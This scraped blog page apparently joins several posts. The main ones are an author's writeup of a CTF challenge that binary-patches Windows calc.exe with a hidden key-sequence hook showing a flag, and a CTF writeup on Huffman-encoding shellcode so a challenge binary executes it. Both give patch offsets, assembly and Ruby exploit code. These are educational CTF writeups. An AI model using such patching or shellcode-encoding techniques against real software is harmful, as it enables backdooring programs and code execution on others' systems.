    ./i386/compdata/calcomp.htm
    ./i386/compdata/calcomp.txt
    

    Looks promising! What's calc.ex_?

    $ file ./i386/calc.ex_
    ./i386/calc.ex_: Microsoft Cabinet archive data, 41953 bytes, 1 file
    

    This is just like a little CTF challenge!

    Apparently I already had cabextract installed, so I tried it:

    $ cabextract -d /tmp ./i386/calc.ex_
    Extracting cabinet: ./i386/calc.ex_
      extracting /tmp/calc.exe
    
    All done, no errors.
    $ file /tmp/calc.exe
    /tmp/calc.exe: PE32 executable (GUI) Intel 80386, for MS Windows
    

    Huh, that was easy! You can download the base calc.exe if you want to follow along pre-modification.

    Finding a place for code

    I spent a lot of time coming up with ideas of how to backdoor calc.exe. I could have used a tool like Backdoor Factory, but that wasn't quite right! I also had the idea of using debug hooks and causing exceptions to gain control, but I couldn't get that to work.

    Instead, I decided to find a place right in the binary where I could put a decent chunk of assembly code - like 150 bytes or so - that could handle all the logic. Then I'd just find the part of the code that handles "button pressed", and call my backdoor code. That way, each button press, I could do some arbitrary calculation, then return control as if nothing had ever happened.

    The question is, where? How do I spot useless code? In particular, in an executable segment?

    TL;DR: I just wrecked up built-in security functionality. :)

    I scrolled around for awhile, trying to think of where to put it. Then I noticed this:

    .text:01007E2C ; =============== S U B R O U T I N E =======================================
    .text:01007E2C
    .text:01007E2C ; Attributes: library function
    .text:01007E2C
    .text:01007E2C ; __fastcall __security_check_cookie(x)
    .text:01007E2C @__security_check_cookie@4 proc near    ; CODE XREF: sub_1001B19+470p
    .text:01007E2C                                         ; sub_100209C+2E0p ...
    .text:01007E2C
    .text:01007E2C var_2AC         = byte ptr -2ACh
    .text:01007E2C
    .text:01007E2C                 cmp     ecx, ___security_cookie
    .text:01007E32                 jnz     short $failure$18941
    .text:01007E34                 retn
    ...
    

    __security_check_cookie()? Who the heck needs a stack cookie for Windows Calculator, right? What are you going to do, hack yourself? :)

    So I went ahead and changed the first byte of the function (0x01007E2C is the virtual address, or 0x722c in the file) to 0xc3 - ret. Then I ran calc.exe and verified that everything still worked. In theory, it's slightly less secure - hah.

    The rest of the function - 0x01007E2D up to 0x01007EC9 (156 bytes) - was now entirely unused. Perfect!

    Finding a place for data

    Next, I needed a part of memory that I can read/write to store the encrypted flag (so I could decrypt it later). There are plenty of easier ways to do this - such as by decrypting it on the stack - but this seemed easy enough to do. I also needed a smaller piece of unused memory to store the count (which is incremented each time the correct button is pressed - we'll see that later).

    In the start() function, I noticed this code:

    .text:01012986                 push    offset unk_1014010
    .text:0101298B                 push    offset unk_101400C
    .text:01012990                 call    _initterm
    

    I don't care about terminal stuff, so maybe I could just kill that code and use that memory? While writing this blog, I actually looked up what initterm is, and realized that it isn't even doing anything - it just points to two NULL addresses.

    So I went ahead and NOP'ed out that code, so those two memory addresses would remain untouched. Then I set the value at that address to 0x0000000, to initialize the counter (although I think it already had that value).

    For the actual flag, I had to store it in UTF-16, so if I wanted a 16 character flag, I needed 32 bytes of memory to store it in. That's a lot!

    I solved that problem by overwriting random unused-looking chunks of memory until calc.exe could start and avoid crashing. Probably not the cleanest solution - I may have redefined math as we know it - but it did the trick! That memory ended up starting here:

    .data:010140C0                 db    0
    .data:010140C1                 db    0
    .data:010140C2                 db 0FFh
    .data:010140C3                 db    0
    .data:010140C4                 db  50h ; P
    .data:010140C5                 db    0
    .data:010140C6                 db    0
    .data:010140C7                 db    0
    .data:010140C8                 db 0FFh
    .data:010140C9                 db    0
    .data:010140CA                 db    0
    .data:010140CB                 db    0
    ...32 bytes
    

    AFAICT, that data is never read (but it's certainly possible I'm wrong). I initialized that to the "encrypted" version of the flag, which is simply the 32 byte flag XORed by the values for certain calculator buttons - we'll see that later.

    So now we have space for code, a small amount of r/w memory (for a counter), and a larger amount of r/w memory (for the encrypted flag)! This could certainly have been done more easily, but I was finding memory as I needed it, so it became somewhat complex. Since this is a reverse engineering problem, that makes it all the more fun!

    Find where button presses are handled

    Now that we have space for code, how do we run the code?

    I wish I had a good story about how to find the code. In the Windows 7 version of calc.exe, I used the compiled-in symbols to quickly narrow it down. But the Windows 7 version didn't work, and Windows 2003 didn't have symbols.

    In the end, I literally just sorted the list of functions by length, and looked at the longest one: sub_10028A1.

    The body of that sub looks like:

    ...
    .text:010028C9                 jb      short loc_10028D3
    .text:010028CB                 cmp     esi, 8Dh
    .text:010028D1                 jbe     short loc_100292E
    .text:010028D3
    .text:010028D3 loc_10028D3:                            ; CODE XREF: sub_10028A1+28j
    .text:010028D3                 cmp     esi, 132h
    .text:010028D9                 jb      short loc_10028E3
    .text:010028DB                 cmp     esi, 135h
    .text:010028E1                 jbe     short loc_100292E
    .text:010028E3
    .text:010028E3 loc_10028E3:                            ; CODE XREF: sub_10028A1+38j
    .text:010028E3                 cmp     esi, 136h
    .text:010028E9                 jb      short loc_10028F3
    .text:010028EB                 cmp     esi, 139h
    .text:010028F1                 jbe     short loc_100292E
    .text:010028F3
    .text:010028F3 loc_10028F3:                            ; CODE XREF: sub_10028A1+48j
    .text:010028F3                 cmp     esi, 13Ah
    .text:010028F9                 jb      short loc_1002903
    .text:010028FB                 cmp     esi, 13Ch
    .text:01002901                 jbe     short loc_100292E
    ...
    

    Compare, jump, compare, jump, compare jump, etc. That looks like buttons being checked! The value being compared at each step is stored in esi, which is defined at the top of that function:

    .text:010028B7                 push    esi
    .text:010028B8                 mov     esi, [ebp+hMem]
    .text:010028BB                 mov     [ebp+var_14], eax
    .text:010028BE                 mov     eax, 8Ch
    .text:010028C3                 cmp     esi, eax
    

    To figure out what that value is, I set a breakpoint at 0x010028BB:

    0:000> bp 0x010028BB
    0:000> g
    

    Then I clicked on '0', and execution stopped! I used r esi to see the argument:

    Breakpoint 0 hit
    calc+0x28bb:
    010028bb 8945ec          mov     dword ptr [ebp-14h],eax ss:002b:000cfaa8=0100481e
    0:000:x86> r esi
    esi=0000007c
    0:000:x86> g
    

    Then I tried again with pressing '1':

    010028bb 8945ec          mov     dword ptr [ebp-14h],eax ss:002b:000cfaa8=0100481e
    0:000:x86> r esi
    esi=0000007d
    

    I tried a few more just to make sure, but it worked as as you'd expect: 2 was 0x7e, 3 was 0x7f, 4 was 0x80, and so on. Wonderful!

    Now that I know where button-pushes are processed, I know where I need to inject my code!

    Hooking execution

    Right at the start of sub_10028A1, the first two lines are:

    .text:010028A1 B8 4A 2D 01 01                 mov     eax, offset sub_1012D4A
    .text:010028A6 E8 F5 01 01 00                 call    sub_1012AA0
    .text:010028AB 81 EC D0 00 00+                sub     esp, 0D0h
    

    I'm not 100% sure what those first two lines are doing, and I still don't really know, but I do know that if I NOP out that code, everything still works. Perfect! I assume it's part of the "this execution is taking too long" code, since that stopped working when I added this patch. But we fix that later. :)

    The space I freed up for my code starts at 0x01007E2D - one byte past the start of __security_check_cookie, where we created a fake ret instruction.

    I want to change call sub_1012AA0 to call sub_1007E2D. The first byte of the original call - E8 - simply means "call a 4-byte relative address". The next 4 bytes are the offset from the start of the next instruction to the instruction we want to call (as little endian).

    What's that mean? It means that we need to know how far it is from the next instruction (0x010028AB) and the place we want to call (0x01007E2D). We can figure that out with simple math:

    0x01007E2D - 0x010028AB = 0x00005582
    

    So we simply change the instruction to "E8 82 55 00 00" - "call sub_1007E2D".

    Of course, right now there's just the remnants of the old function there, so if you call it, it'll crash. That brings us to the last major part - the payload!

    Payload

    The payload is the most important part! It's simply arbitrary assembly code that'll run each time a button is pressed.

    The way it works is, it takes the button code (such as 0x7c for '0') and compares it to the current byte of the expected code (starting at offset 0). If it doesn't match, we reset the counter and return. If it does match, we increment the counter and return if the counter is less than 8.

    When the counter reaches 8 - the length of the code - it runs the "decryption" code and pops up a MessageBox with the decrypted flag. The decryption code will XOR the first 4 bytes of the encrypted flag with the first byte of the code. The next 4 bytes with the next byte, and so on, until the 8 code bytes have decoded the 32 flag bytes.

    Note: this is not particularly good encryption, especially since the key is stored in memory. Don't do that if you want real security! :)

    Here's the full, annotated assembly:

    ; eax = current character
    mov eax, [ebp+8]
    pushad
    
    call get_values
      ; This is the expected code
      db 'XXXXXXXX'
    
      ; Get a handle to our "checker"
      get_values:
        pop esi
    
      ; Get the "index"
      mov ecx, [0x0101400c]
    
      ; Go to the "index"
      mov edx, esi
      add edx, ecx
    
      ; Check if we're good
      cmp byte [edx], al
    
      jz its_good
    
      ; If it's wrong, reset the count
      mov dword [0x0101400c], 0
      popad
      ret
    
    its_good:
      ; If it's right, increment the index
      inc ecx
      mov [0x0101400c], ecx
    
      ; Check if we're done
      cmp ecx, 0x08
      jl notdone
    
      ; If we ARE done, decode the actual flag
      ; esi = already the decoder string
      ; edi = the text
      mov edi, 0x010140c0
      xor ecx, ecx
    
    ; A little decoder loop
    top:
      mov al, [esi+ecx] ; al = this byte of the decoder string
    
      mov edx, ecx ; Multiply ecx by 4, so we can index into the encoded key
      shl edx, 2
    
      xor [edi+edx+0], al ; First byte
      xor [edi+edx+1], al ; Second byte
      xor [edi+edx+2], al ; Third byte
      xor [edi+edx+3], al ; First byte
    
      ; Increment the loop counter
      inc ecx
      cmp ecx, 0x08
      jl top
    
      ; Call MessageBoxW()!
      push 0
      push 0x010140c0 ; Decrypted flag
      push 0x010140c0 ; Decrypted flag
      push 0
      call [0x010011a8] ; MessageBoxW()
    
    notdone:
      popad
    ret
    

    You may note two odd things: first, we call MessageBoxW(). MessageBoxW() is the UTF-16 messagebox function in Windows. That means we need to use 2 bytes for every character of our flag. Why do we use that one? Because it's what calc.exe already imports - unfortunately, we can't easily get MessageBoxA() without using GetProcAddress() or some other trick.

    Second, the expected code is set to "XXXXXXXX". In the patch.rb file, I actually generate the code entirely randomly, encrypt the flag with it, and dynamically fill in the flag and the code!

    Here's what it looks like when I run the generator script:

    $ make
    ruby ./do_patch.rb
    Raw code: 5c 84 7e 5b 81 83 7f 84
    Code: + 8 2 * 5 7 3 8
    Code: ["5c847e5b81837f84"]
    Encoded flag: 1f 5c 08 5c c2 84 ff 84 32 7e 3f 7e 0e 5b 15 5b c2 81 c9 81 c6 83 c7 83 5e 7f 01 7f f9 84 84 84
    Patching 5 bytes @ 0x1ca6 from (inline data)
    Patching 1 bytes @ 0x722c from (inline data)
    Patching 15 bytes @ 0x11d86 from (inline data)
    Patching 115 bytes @ 0x722d from realpatch.bin
    Patching 4 bytes @ 0x1300c from (inline data)
    Patching 32 bytes @ 0x130c0 from (inline data)
    Patching 8 bytes @ 0x7236 from (inline data)
    Patching 16 bytes @ 0x3be6 from (inline data)
    

    It generated the code of +82*5738 - not quite so interesting, but that code is then written to 0x7236, which means it's written directly over the "XXXXXXXX" string!

    All said and done, the patch is 115 bytes long (with no real attempt to optimized my assembly). Not too shabby!

    Fixing "this calculation is taking too long"

    One funny thing - I was forever getting "This calculation is taking too long, would you like to continue?" messages. I tracked down the code to display it, and figured out it runs in a separate thread:

    .text:010047E1 75 18                          jnz     short loc_10047FB
    .text:010047E3 8D 45 FC                       lea     eax, [ebp+ThreadId]
    .text:010047E6 50                             push    eax             ; lpThreadId
    .text:010047E7 56                             push    esi             ; dwCreationFlags
    .text:010047E8 56                             push    esi             ; lpParameter
    .text:010047E9 68 1C 47 00 01                 push    offset StartAddress ; lpStartAddress
    .text:010047EE 56                             push    esi             ; dwStackSize
    .text:010047EF 56                             push    esi             ; lpThreadAttributes
    .text:010047F0 FF 15 2C 10 00+                call    ds:CreateThread
    

    By this point, I just wanted to go to bed (I wrote this whole thing in one evening!), so I literally just replaced that whole block of code - the pushes and the call - with NOPs. That thread no longer runs, and my problem is solved. :)

    I still have no idea why I started seeing that.. presumably, I accidentally killed the reset-timer code.

    Putting it all together

    All said and done, here are all the patches I just talked about, all in one place:

    patches = [
      # This patch calls the handler code at each character press by adding a "call"
      { offset: 0x1ca6,  max: 0x05, data: "\xe8\x82\x55\x00\x00" },
    
      # This patch gets rid of the "real" functionality by making it simply "return"
      { offset: 0x722c,  max: 0x01, data: "\xc3" },
    
      # This patch removs some console i/o stuff, giving us 20 bytes of freed-up
      # r/w memory where we store the counter
      { offset: 0x11d86, max: 0x0f, data: "\x90" * 0x0f },
    
      # This is the actual binary patch, which adds all the functionality (except
      # for the encoded flag)
      { offset: 0x722d,  max: 0x9c, file: 'realpatch.bin' },
    
      # This is the counter for the current byte we're at
      { offset: 0x1300c, max: 0x04, data: "\0\0\0\0" },
    
      # This is the r/w "encrypted" data (in maybe-unused memory)
      { offset: 0x130c0, max: 0x20, data: ENCODED_FLAG },
    
      # This is the r/o "validator" data (it's 9 past the start of the realpatch data)
      { offset: 0x722d+9, max: 0x08, data: CODE },
    
      # This kills the annoying "This operation is taking too long!!!" thread
      { offset: 0x3be6, max: 0x10, data: "\x90" * 0x10 },
    ]
    

    We replace the call to get control of code execution; we disable stack cookies to free up code space; we disable console i/o stuff to free up data stuff; we overwrite the stack cookie function with realpatch.bin; we reset the counter; we copy our encrypted flag to probably-unused memory; we patch the code directly into the assembly; and finally, we kill the "operation is taking too long" thread.

    Eight patches, and we have a cool backdoor in Calc! The coolest thing is, the flag and code are both generated dynamically. That means you can easily change the code and data and get your own encrypted flag!

    Solving it

    I honestly haven't solved it myself, other than typing in the code to verify it works, but I talked to one team and asked how they solved it.

    Their answer: "we diffed it with the real version, and the code stuck out like a sore thumb!"

    Once you know where the hook is, the assembly code I posted above is pretty easy to reverse engineer for somebody experienced in doing CTFs. Just gotta debug it to figure out how the codes (like 0x7C) correspond to buttons ('0')!

    One thought on “In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    1. Reply

      JJ Maline

      What tool did you use to disassemble the binary file? None of my tools produce this output. I tired objdump, immunity.

      .text:01007E2C ; =============== S U B R O U T I N E =======================================
      .text:01007E2C
      .text:01007E2C ; Attributes: library function
      .text:01007E2C
      .text:01007E2C ; __fastcall __security_check_cookie(x)
      .text:01007E2C @__security_check_cookie@4 proc near ; CODE XREF: sub_1001B19+470p
      .text:01007E2C ; sub_100209C+2E0p ...
      .text:01007E2C
      .text:01007E2C var_2AC = byte ptr -2ACh
      .text:01007E2C
      .text:01007E2C cmp ecx, ___security_cookie
      .text:01007E32 jnz short $failure$18941
      .text:01007E34 retn
      ...

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### January » 2010 » SkullSecurity

    Who’s going to Shmoocon?

    Hey everybody, I'm heading to Shmoocon on Feb 4 - 8, so two things: a) Who wants to meet up? I have plans on the Saturday, but not much else yet. b) Please don't hack me while I'm gone. ;)

    #####EOF##### GitS 2015: Huffy (huffman-encoded shellcode) » SkullSecurity


    GitS 2015: Huffy (huffman-encoded shellcode)

    Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end.

    Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was finishing it a half hour after the game ended. So I didn't do the final exploitation step.

    At any rate, I solved the hard part, so I'll go over the solution!

    Huffman Trees

    Since the level was called "huffy", and I recently solved a level involving Huffman Trees in the Defcon qualifiers, my immediate thought was a Huffman Tree.

    For those who don't know, a Huffman Tree is a fairly simple data structure used for data compression. The tree is constructed by reading the input and building a tree where the most common characters are near the top, and the least common are near the bottom.

    To compress data, it traverses the tree to generate the encoded bits (left = 0, right = 1). The closer to the top something is, the less bits it encodes to. It's also a "prefix code", which is a really neat property that means that no encoded bit string is a prefix of another one (in other words, when you're reading bits, you instantly know when you're done decoding one character).

    For example, if you had a Huffman Tree that looked like:

           9
        /     \
       4       5 (o)
     /   \
    d(3)  g(1)
    

    You know that it was generated from text with 9 characters. 5 of the characters were 'o', 3 of the characters were 'd', and 1 of the characters were 'g'.

    When you use it to compress data, you might compress "dog" like:

    • d = 00 (left left)
    • o = 1 (right)
    • g = 01 (left right)

    Therefore, "dog" would encode to the bits "00101".

    If you saw the string of bits "01100", you could follow the tree: left right (g) right (o) left left (d) and get the string "god".

    If there are equal numbers of each character in a string, and the number of unique characters is a power of 2, you wind up with a balanced tree.. for example, the string "aaabbbcccddd" would have the huffman tree:

           12
        /      \
       6        6
     /   \    /   \
    a     b  c     d
    

    And the string "abcd" will be encoded "00011011".

    That property is going to be important. :)

    Understanding the program

    When you run the program it prompts for input from stdin. If you give it input, it outputs a whole bunch of junk (although the output makes it a whole lot easier!).

    Here's an example:

    $ echo 'this is a test string' | ./huffy
    CWD: /home/ron/gits2015/huffy
    Nibble  Frequency
    ------  ---------
    0       0.113636
    1       0.022727
    2       0.113636
    3       0.090909
    4       0.090909
    5       0.022727
    6       0.181818
    7       0.227273
    8       0.022727
    9       0.068182
    a       0.022727
    b       0.000000
    c       0.000000
    d       0.000000
    e       0.022727
    f       0.000000
    
    Read 22 bytes
    Two lowest frequencies: 0.000000 and 0.000000
    Two lowest frequencies: 0.000000 and 0.000000
    Two lowest frequencies: 0.000000 and 0.000000
    Two lowest frequencies: 0.000000 and 0.022727
    Two lowest frequencies: 0.022727 and 0.022727
    Two lowest frequencies: 0.022727 and 0.022727
    Two lowest frequencies: 0.022727 and 0.045455
    Two lowest frequencies: 0.045455 and 0.068182
    Two lowest frequencies: 0.068182 and 0.090909
    Two lowest frequencies: 0.090909 and 0.113636
    Two lowest frequencies: 0.113636 and 0.113636
    Two lowest frequencies: 0.159091 and 0.181818
    Two lowest frequencies: 0.204545 and 0.227273
    Two lowest frequencies: 0.227273 and 0.227273
    Two lowest frequencies: 0.340909 and 0.431818
    Two lowest frequencies: 0.454545 and 0.454545
    Two lowest frequencies: 0.772727 and 0.909091
    Breaking!
    0 --0--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
    1 --0--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    2 --1--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
    3 --1--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    4 --0--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    5 --0--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    6 --1--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    7 --1--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    8 --0--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    9 --1--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    a --1--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    b --0--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    c --1--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    d --1--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    e --1--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    f --1--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    Encoding input...
    ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
    Binary Encoded:
    h@V????Q?O?-????
    Executing encoded input...
    Segmentation fault
    

    It took me a little bit of time to see what's going on, but once you get it, it's pretty straight forward!

    The first part is giving a frequency analysis of each nibble (a nibble being one hex character, or half of a byte). That tells me that it's compressing it via nibbles. Then it gives a frequency analysis of the input—I didn't worry too much about that—then it shows the encodings for each of the 16 possible nibbles.

    After it encodes them, it takes those bits and converts them to a long binary string, then tries to run it.

    So to summarize: you have to come up with some data that, when compressed nibble-by-nibble with Huffman encoding, will turn into something executable!

    Cleaning up the output

    To make my life easier, I thought I'd use a bit of shell-fu to clean up the output so I can better understand what's going on:

    $ echo 'this is a test string' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'
    

    Which produces the output:

    [...]
    0 0111
    1 010000
    2 1111
    3 1000
    4 0010
    5 001010
    6 100
    7 110
    8 00000
    9 11010
    a 101010
    b 0000110000
    c 10110000
    d 100110000
    e 1110000
    f 1000110000
    Encoding input...
    ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
    

    If you try to give it "AAAA", you wind up with this table:

    $ echo 'AAAA' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'
    [...]
    0 0101
    1 0
    2 0000000000001101
    3 101101
    4 11
    5 1001101
    6 10001101
    7 100001101
    8 1000001101
    9 10000001101
    a 11101
    b 100000001101
    c 1000000001101
    d 10000000001101
    e 100000000001101
    f 1000000000001101
    Encoding input...
    ASCII Encoded: 110110110110101010111
    Binary Encoded:
    

    You probably know that AAAA = "41414141", so '4' and '1' are the most common nibbles. That's borne out in the table, too, with '4' being encoded as '11' and '1' being encoded as '0'. We also expect to see a newline at the end - "\x0a" - so the '0' and 'a' should also be encoded there.

    If we break apart the characters, we see this string:

    ASCII Encoded: 11 0 11 0 11 0 11 0 1010 10111
    

    One thing to note is that everything is going to be backwards from how you see it on the table! 11 and 0 don't actually matter, but 1010 = 0101 = '0', and 10111 = 11101 = 'a'. I honestly didn't notice that during the actual game, though, I worked around that problem in a creative way. :)

    Balancing it out

    Remember I mentioned earlier that if you have a balanced tree with a power-of-two number of nodes, all characters are encoded to the same number of bits? Well, it turns out that there are 16 different nibbles, so if you have an even number of each nibble in your input string, they each encode to 4 bits:

    $ echo -ne '\x01\x23\x45\x67\x89\xab\xcd\xef' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'
    0 0000
    1 0001
    2 0011
    3 0010
    4 0110
    5 0111
    6 0101
    7 0100
    8 1100
    9 1101
    a 1111
    b 1110
    c 1010
    d 1011
    e 1001
    f 1000
    

    And not only do they each encode to 4 bits, every possible 4-bit value is there, too!

    Exploit

    The exploit now is just a matter of...

    1. Figuring out which nibbles encode to which bits
    2. Writing those nibbles out as shellcode
    3. Padding the shellcode till you have the same number of each nibble

    That's all pretty straight forward! Check out my full exploit, or piece it together from the snippits below :)

    First, create a table (I did this by hand):

    @@table = {
      "0000" => 0x0, "0001" => 0x1, "0011" => 0x2, "0010" => 0x3,
      "0110" => 0x4, "0111" => 0x5, "0101" => 0x6, "0100" => 0x7,
      "1100" => 0x8, "1101" => 0x9, "1111" => 0xa, "1110" => 0xb,
      "1010" => 0xc, "1011" => 0xd, "1001" => 0xe, "1000" => 0xf,
    }
    

    Then encode the shellcode:

    def encode_nibble(b)
      binary = b.to_s(2).rjust(4, '0')
      puts("Looking up %s... => %x" % [binary, @@table[binary]])
      return @@table[binary]
    end
    
    @@hist = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ]
    
    #shellcode = "\xeb\xfe"
    #shellcode = "\xcd\x03"
    shellcode = "hello world, this is my shellcode!"
    shellcode.each_byte do |b|
      n1 = b >> 4
      n2 = b & 0x0f
    
      puts("n1 = %x" % n1)
      puts("n2 = %x" % n2)
    
      @@hist[n1] += 1
      @@hist[n2] += 1
    
      out += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0F)).chr
    end
    

    Notice that I maintain a histogram, that makes the final step easier, padding the string as needed:

    def get_padding()
      result = ""
      max = @@hist.max
    
      needed_nibbles = []
      0.upto(@@hist.length - 1) do |i|
        needed_nibbles << [i] * (max - @@hist[i])
        needed_nibbles.flatten!
      end
    
      if((needed_nibbles.length % 2) != 0)
        puts("We need an odd number of nibbles! Add some NOPs or something :(")
        exit
      end
    
      0.step(needed_nibbles.length - 1, 2) do |i|
        n1 = needed_nibbles[i]
        n2 = needed_nibbles[i+1]
    
        result += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0f)).chr
      end
    
      return result
    end
    

    And now "out" should contain a bunch of nibbles that will map to shellcode! Should!

    Finally, we output it:

    def output(str)
      print "echo -ne '"
      str.bytes.each do |b|
        print("\\x%02x" % b)
      end
      puts("' > in; ./huffy < in")
    end
    

    Hacking around a bug

    Did you notice what I did wrong? I made a big mistake, and in the heat of the contest I didn't have time to fix it properly. When I tried to encode "hello world, this is my shellcode!", I get:

    echo -ne '\x4f\x46\x48\x48\x4a\x30\x55\x4a\x53\x48\x47\x38\x30\x57\x4f\x4e\x52\x30\x4e\x52\x30\x49\x5e\x30\x52\x4f\x46\x48\x48\x42\x4a\x47\x46\x31\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x33\x33\x33\x33\x33\x33\x22\x22\x22\x22\x22\x22\x22\x22\x77\x77\x77\x77\x77\x77\x77\x77\x76\x66\x66\x66\x66\x66\x66\x66\x66\x55\x55\x55\x55\x55\x55\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xee\xee\xee\xee\xee\xee\xee\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x88\x88\x88\x88\x88\x88\x88\x99\x99\x99\x99\x99\x99\x99\x99\x99\x9b\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xba\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
    

    Which works out to:

    ajcco@?o?cbC@?ai?@i?@k?@?ajcclobj?????????DDDDDD????????""""""""*??????????????????????UUUUUUUUUU??????????3333333??????????wwwwwwwww????????
    

    That's not my string! What's the deal?

    But notice the string starts with "ajcco" - that kidna looks like "hello". And the 4-bits-per-character thing is holding up, we can see:

    0 0000
    1 0001
    2 0011
    3 0010
    4 0110
    5 0111
    6 0101
    7 0100
    8 1100
    9 1101
    a 1111
    b 1110
    c 1010
    d 1011
    e 1001
    f 1000
    

    So it's kinda working! Kinnnnnda!

    To work on this, I tried the shellcode

    "\x01\x23\x45\x67\x89\xab\xcd\xef"

    and determined that it encoded to: "0000100001001100001010100110111000011001010111010011101101111111", which is, in hex:

    "\x08\x4c\x3a\x6e\x19\x5d\x3b\x7f"

    Or, to list the nibbles:

    0000
    1000
    0100
    1100
    0010
    1010
    0110
    1110
    0001
    1001
    0101
    1101
    0011
    1011
    0111
    1111
    

    If I was paying more attention, I would have noticed the obvious problem: they're backwards!!!

    In my rush to get the level done, I didn't notice that every nibble's bits were exactly backwards (1000 instead of 0001, 0100 instead of 0010, etc etc)

    While I didn't notice the problem, I did notice that everything was consistently wrong. So I did this:

    hack_table = {
      0x02 => 0x08, 0x0d => 0x09, 0x00 => 0x00, 0x08 => 0x02,
      0x0f => 0x01, 0x07 => 0x03, 0x03 => 0x07, 0x0c => 0x06,
      0x04 => 0x04, 0x0b => 0x05, 0x01 => 0x0f, 0x0e => 0x0e,
      0x06 => 0x0c, 0x09 => 0x0d, 0x05 => 0x0b, 0x0a => 0x0a
    }
    
    hack_out = ""
    
    out.bytes.each do |b|
      n1 = hack_table[b >> 4]
      n2 = hack_table[b & 0x0f]
    
      hack_out += ((n1 << 4) | (n2 & 0x000f)).chr
    end
    output(hack_out)
    

    And ran it with the original test shellcode:

    $ ruby ./sploit.rb
    echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
    

    Then run the code I got:

